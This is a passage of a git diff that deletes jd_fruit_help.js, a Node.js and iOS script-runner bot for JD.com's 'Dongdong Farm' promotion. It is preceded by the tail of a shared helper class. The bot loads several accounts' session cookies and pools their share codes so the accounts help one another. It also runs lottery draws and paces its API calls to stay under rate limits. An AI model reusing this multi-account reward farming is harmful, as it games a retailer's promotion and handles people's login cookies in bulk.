e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fruit_help.js b/jd_fruit_help.js deleted file mode 100644 index ec7bd5956..000000000 --- a/jd_fruit_help.js +++ /dev/null @@ -1,854 +0,0 @@ -/* -东东水果:脚本更新地址 jd_fruit_help.js -更新时间:2021-5-18 -活动入口:京东APP我的-更多工具-东东农场 -东东农场内部互助活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -互助码shareCode请先手动运行脚本查看打印可看到 -一天只能帮助3个人。多出的助力码无效 -==========================Quantumultx========================= -[task_local] -#jd免费水果 -20 4,16 * * * jd_fruit_help.js, tag=东东农场内部互助, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true -=========================Loon============================= -[Script] -cron "20 4,16 * * *" script-path=jd_fruit_help.js,tag=东东农场内部互助 - -=========================Surge============================ -东东农场内部互助 = type=cron,cronexp="20 4,16 * * *",wake-system=1,timeout=3600,script-path=jd_fruit_help.js - -=========================小火箭=========================== -东东农场内部互助 = type=cron,script-path=jd_fruit_help.js, cronexpr="20 4,16 * * *", timeout=3600, enable=true - -export DO_TEN_WATER_AGAIN="" 默认再次浇水 - -*/ -const $ = new Env('东东农场内部水滴互助'); -let cookiesArr = [], - cookie = '', - jdFruitShareArr = [], - isBox = false, - notify, allMessage = ''; -//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 -//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 -//下面给出两个账号的填写示例(iOS只支持2个京东账号) -let shareCodes = [ // 这个列表填入你要助力的好友的shareCode - // //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 - // '5853550f71014282912b76d95beb84c0@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', - // //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 - // '5853550f71014282912b76d95beb84c0@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', -] -let newShareCodes=[]; -let message = '', - subTitle = '', - option = {}, - isFruitFinished = false; -const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100); //保留水滴大于多少g,默认100g; -let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 -let jdFruitBeanCard = false; //农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 -let randomCount = $.isNode() ? 20 : 5; -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; -let NowHour = new Date().getHours(); -let llhelp = true; -const fs = require('fs'); -let boolneedUpdate = false; -let strShare = './Fruit_ShareCache.json'; -let Fileexists = fs.existsSync(strShare); -let TempShareCache = []; -if (Fileexists) { - console.log("检测到东东农场缓存文件Fruit_ShareCache.json,载入..."); - TempShareCache = fs.readFileSync(strShare, 'utf-8'); - if (TempShareCache) { - TempShareCache = TempShareCache.toString(); - TempShareCache = JSON.parse(TempShareCache); - } -} -let lnrun = 0; -let llgetshare = false; -let NoNeedCodes = []; -!(async() => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - if(llhelp){ - console.log('\n【开始收集您的互助码,用于账号内部互助,请稍等...】\n'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - $.retry = 0; - llgetshare = false; - await GetCollect(); - if(llgetshare){ - await $.wait(5000); - lnrun++; - } - if(lnrun == 10){ - console.log(`\n【访问接口次数达到10次,休息一分钟.....】\n`); - await $.wait(60*1000); - lnrun = 0; - } - } - } - if (boolneedUpdate) { - var str = JSON.stringify(TempShareCache, null, 2); - fs.writeFile(strShare, str, function (err) { - if (err) { - console.log(err); - console.log("\n【缓存文件Fruit_ShareCache.json更新失败!】\n"); - } else { - console.log("\n【缓存文件Fruit_ShareCache.json更新成功!】\n"); - } - }) - } - } - console.log('\n【互助码已经收集完毕,现在开始账号内部互助,请稍等...】\n'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - $.retry = 0; - lnrun++; - await jdFruit(); - if (lnrun == 3) { - console.log(`\n【访问接口次数达到3次,休息一分钟.....】\n`); - await $.wait(60 * 1000); - lnrun = 0; - } - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdFruit() { - subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; - try { - await initForFarm(); - if ($.farmInfo.farmUserPro) { - // option['media-url'] = $.farmInfo.farmUserPro.goodsImage; - //message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; - //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); - console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); - //message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; - await masterHelpShare(); //助力好友 - await turntableFarm();//天天抽奖得好礼 - if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { - option['open-url'] = urlSchema; - //$.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - return - } else if ($.farmInfo.treeState === 1) { - console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) - } else if ($.farmInfo.treeState === 0) { - //已下单购买, 但未开始种植新的水果 - option['open-url'] = urlSchema; - //$.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); - return - } - } else { - //console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据!`); - if ($.retry < 2) { - $.retry++ - console.log(`等待3秒后重试,第:${$.retry}次`); - await $.wait(3000); - await jdFruit(); - } - } - } catch (e) { - //console.log(`任务执行异常,请检查执行日志 ‼️‼️`); - $.logErr(e); - // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - // $.msg($.name, '', `${errMsg}`) - } - //await showMsg(); -} -//天天抽奖活动 -async function turntableFarm() { - await initForTurntableFarm(); - if ($.initForTurntableFarmRes.code === '0') { - //领取定时奖励 //4小时一次 - let {timingIntervalHours, timingLastSysTime, sysTime, remainLotteryTimes, turntableInfos} = $.initForTurntableFarmRes; - //天天抽奖助力 - console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') - for (let code of newShareCodes) { - if (code === $.farmInfo.farmUserPro.shareCode) { - console.log('天天抽奖-不能自己给自己助力\n') - continue - } - await lotteryMasterHelp(code); - if ($.lotteryMasterHelpRes.helpResult.code === '0') { - console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) - } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { - console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) - } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { - console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); - break; - } - } - console.log(`天天抽奖次数共-${remainLotteryTimes}次`) - //抽奖 - if (remainLotteryTimes > 0) { - console.log('开始抽奖') - let lotteryResult = ''; - for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { - await lotteryForTurntableFarm() - console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); - if ($.lotteryRes.code === '0') { - turntableInfos.map((item) => { - if (item.type === $.lotteryRes.type) { - console.log(`lotteryRes.type${$.lotteryRes.type}`); - if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { - lotteryResult += `${item.name}个,`; - } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { - lotteryResult += `${item.name},`; - } else { - lotteryResult += `${item.name},`; - } - } - }) - //没有次数了 - if ($.lotteryRes.remainLotteryTimes === 0) { - break - } - } - } - if (lotteryResult) { - console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) - // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; - } - } else { - console.log('抽奖完成没有次数啦~') - } - } else { - console.log('初始化天天抽奖得好礼失败') - } -} -//助力好友 -async function masterHelpShare() { - await $.wait(2000); - await initForFarm(); - let salveHelpAddWater = 0; - let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 - let helpSuccessPeoples = '';//成功助力好友 - if(llhelp){ - console.log('开始助力好友') - for (let code of newShareCodes) { - if(NoNeedCodes){ - var llnoneed=false; - for (let NoNeedCode of NoNeedCodes) { - if (code==NoNeedCode){ - llnoneed=true; - break; - } - } - if(llnoneed){ - console.log(`${code}助力已满,跳过...`); - continue; - } - } - console.log(`${$.UserName}开始助力: ${code}`); - if (!code) continue; - if (!$.farmInfo.farmUserPro) { - console.log('未种植,跳过助力\n') - continue - } - if (code === $.farmInfo.farmUserPro.shareCode) { - console.log('不能为自己助力哦,跳过自己的shareCode\n') - continue - } - await masterHelp(code); - if ($.helpResult.code === '0') { - if ($.helpResult.helpResult.code === '0') { - //助力成功 - salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; - console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); - console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) - helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; - } else if ($.helpResult.helpResult.code === '8') { - console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); - } else if ($.helpResult.helpResult.code === '9') { - console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); - } else if ($.helpResult.helpResult.code === '10') { - NoNeedCodes.push(code); - console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); - } else { - console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); - } - console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); - remainTimes = $.helpResult.helpResult.remainTimes; - if ($.helpResult.helpResult.remainTimes === 0) { - console.log(`您当前助力次数已耗尽,跳出助力`); - break - } - } else { - console.log(`助力失败::${JSON.stringify($.helpResult)}`); - } - } - } - if ($.isLoon() || $.isQuanX() || $.isSurge()) { - let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; - if (!$.getdata(helpSuccessPeoplesKey)) { - //把前一天的清除 - $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); - $.setdata('', helpSuccessPeoplesKey); - } - if (helpSuccessPeoples) { - if ($.getdata(helpSuccessPeoplesKey)) { - $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); - } else { - $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); - } - } - helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); - } - if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { - //message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; - } - if (salveHelpAddWater > 0) { - // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; - console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); - } - //message += `【今日剩余助力👬】${remainTimes}次\n`; - console.log('助力好友结束,即将开始领取额外水滴奖励\n'); -} - -async function GetCollect() { - try { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】`); - var llfound = false; - var strShareCode = ""; - if (TempShareCache) { - for (let j = 0; j < TempShareCache.length; j++) { - if (TempShareCache[j].pt_pin == $.UserName) { - llfound = true; - strShareCode = TempShareCache[j].ShareCode; - } - } - } - if (!llfound) { - console.log($.UserName + "该账号无缓存,尝试联网获取互助码....."); - llgetshare=true; - await initForFarm(); - if ($.farmInfo.farmUserPro) { - var tempAddCK = {}; - strShareCode=$.farmInfo.farmUserPro.shareCode; - tempAddCK = { - "pt_pin": $.UserName, - "ShareCode": strShareCode - }; - TempShareCache.push(tempAddCK); - //标识,需要更新缓存文件 - boolneedUpdate = true; - } - } - - if (strShareCode) { - console.log(`\n`+strShareCode); - newShareCodes.push(strShareCode) - } else { - console.log(`\n数据异常`); - } - } catch (e) { - $.logErr(e); - } -} - -// ========================API调用接口======================== -//鸭子,点我有惊喜 -async function getFullCollectionReward() { - return new Promise(resolve => { - const body = { "type": 2, "version": 6, "channel": 2 }; - $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (safeGet(data)) { - $.duckRes = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -/** - * 领取10次浇水奖励API - */ -async function totalWaterTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.totalWaterReward = await request(functionId); -} -//领取首次浇水奖励API -async function firstWaterTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.firstWaterReward = await request(functionId); -} -//领取给3个好友浇水后的奖励水滴API -async function waterFriendGotAwardForFarm() { - const functionId = arguments.callee.name.toString(); - $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); -} -// 查询背包道具卡API -async function myCardInfoForFarm() { - const functionId = arguments.callee.name.toString(); - $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); -} -//使用道具卡API -async function userMyCardForFarm(cardType) { - const functionId = arguments.callee.name.toString(); - $.userMyCardRes = await request(functionId, { "cardType": cardType }); -} -/** - * 领取浇水过程中的阶段性奖励 - * @param type - * @returns {Promise} - */ -async function gotStageAwardForFarm(type) { - $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); -} -//浇水API -async function waterGoodForFarm() { - await $.wait(1000); - console.log('等待了1秒'); - - const functionId = arguments.callee.name.toString(); - $.waterResult = await request(functionId); -} -// 初始化集卡抽奖活动数据API -async function initForTurntableFarm() { - $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); -} -async function lotteryForTurntableFarm() { - await $.wait(2000); - console.log('等待了2秒'); - $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); -} - -async function timingAwardForTurntableFarm() { - $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); -} - -async function browserForTurntableFarm(type, adId) { - if (type === 1) { - console.log('浏览爆品会场'); - } - if (type === 2) { - console.log('天天抽奖浏览任务领取水滴'); - } - const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; - $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); - // 浏览爆品会场8秒 -} -//天天抽奖浏览任务领取水滴API -async function browserForTurntableFarm2(type) { - const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; - $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); -} -/** - * 天天抽奖拿好礼-助力API(每人每天三次助力机会) - */ -async function lotteryMasterHelp() { - $.lotteryMasterHelpRes = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0] + '-3', - babelChannel: "3", - version: 4, - channel: 1 - }); -} - -//领取5人助力后的额外奖励API -async function masterGotFinishedTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.masterGotFinished = await request(functionId); -} -//助力好友信息API -async function masterHelpTaskInitForFarm() { - const functionId = arguments.callee.name.toString(); - $.masterHelpResult = await request(functionId); -} -//新版助力好友信息API -async function farmAssistInit() { - const functionId = arguments.callee.name.toString(); - $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); -} -//新版领取助力奖励API -async function receiveStageEnergy() { - const functionId = arguments.callee.name.toString(); - $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); -} -//接受对方邀请,成为对方好友的API -async function inviteFriend() { - $.inviteFriendRes = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0] + '-inviteFriend', - version: 4, - channel: 2 - }); -} -// 助力好友API -async function masterHelp() { - $.helpResult = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0], - babelChannel: "3", - version: 2, - channel: 1 - }); -} -/** - * 水滴雨API - */ -async function waterRainForFarm() { - const functionId = arguments.callee.name.toString(); - const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; - $.waterRain = await request(functionId, body); -} -/** - * 打卡领水API - */ -async function clockInInitForFarm() { - const functionId = arguments.callee.name.toString(); - $.clockInInit = await request(functionId); -} - -// 连续签到API -async function clockInForFarm() { - const functionId = arguments.callee.name.toString(); - $.clockInForFarmRes = await request(functionId, { "type": 1 }); -} - -//关注,领券等API -async function clockInFollowForFarm(id, type, step) { - const functionId = arguments.callee.name.toString(); - let body = { - id, - type, - step - } - if (type === 'theme') { - if (step === '1') { - $.themeStep1 = await request(functionId, body); - } else if (step === '2') { - $.themeStep2 = await request(functionId, body); - } - } else if (type === 'venderCoupon') { - if (step === '1') { - $.venderCouponStep1 = await request(functionId, body); - } else if (step === '2') { - $.venderCouponStep2 = await request(functionId, body); - } - } -} - -// 领取连续签到7天的惊喜礼包API -async function gotClockInGift() { - $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) -} - -//定时领水API -async function gotThreeMealForFarm() { - const functionId = arguments.callee.name.toString(); - $.threeMeal = await request(functionId); -} -/** - * 浏览广告任务API - * type为0时, 完成浏览任务 - * type为1时, 领取浏览任务奖励 - */ -async function browseAdTaskForFarm(advertId, type) { - const functionId = arguments.callee.name.toString(); - if (type === 0) { - $.browseResult = await request(functionId, { advertId, type, "version": 14, "channel": 1, "babelChannel": "45" }); - } else if (type === 1) { - $.browseRwardResult = await request(functionId, { advertId, type, "version": 14, "channel": 1, "babelChannel": "45" }); - } -} -// 被水滴砸中API -async function gotWaterGoalTaskForFarm() { - $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); -} -//签到API -async function signForFarm() { - const functionId = arguments.callee.name.toString(); - $.signResult = await request(functionId); -} -/** - * 初始化农场, 可获取果树及用户信息API - */ -async function initForFarm() { - return new Promise(resolve => { - const option = { - url: `${JD_API_HOST}?functionId=initForFarm`, - body: `body=${escape(JSON.stringify({ "version":14}))}&appid=wh5&clientVersion=9.1.0`, - headers: { - "accept": "*/*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9", - "cache-control": "no-cache", - "cookie": cookie, - "origin": "https://home.m.jd.com", - "pragma": "no-cache", - "referer": "https://home.m.jd.com/myJd/newhome.action", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "same-site", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Content-Type": "application/x-www-form-urlencoded" - }, - timeout: 10000, - }; - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (safeGet(data)) { - $.farmInfo = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 初始化任务列表API -async function taskInitForFarm() { - console.log('\n初始化任务列表') - const functionId = arguments.callee.name.toString(); - $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "45" }); -} -//获取好友列表API -async function friendListInitForFarm() { - $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); - // console.log('aa', aa); -} -// 领取邀请好友的奖励API -async function awardInviteFriendForFarm() { - $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); -} -//为好友浇水API -async function waterFriendForFarm(shareCode) { - const body = { "shareCode": shareCode, "version": 6, "channel": 1 } - $.waterFriendForFarmRes = await request('waterFriendForFarm', body); -} -async function showMsg() { - if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { - $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; - } else if ($.getdata('jdFruitNotify')) { - $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - if ($.ctrTemp) { - $.msg($.name, subTitle, message, option); - if ($.isNode()) { - allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); - } - } else { - $.log(`\n${message}\n`); - } -} - -function timeFormat(time) { - let date; - if (time) { - date = new Date(time) - } else { - date = new Date(); - } - return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); -} - -function requireConfig() { - return new Promise(resolve => { - console.log('开始获取配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - $.shareCodesArr = []; - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0 && data.base && data.base.nickname) { - $.nickName = data.base.nickname; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function request(function_id, body = {}, timeout = 2000) { - return new Promise(resolve => { - setTimeout(() => { - 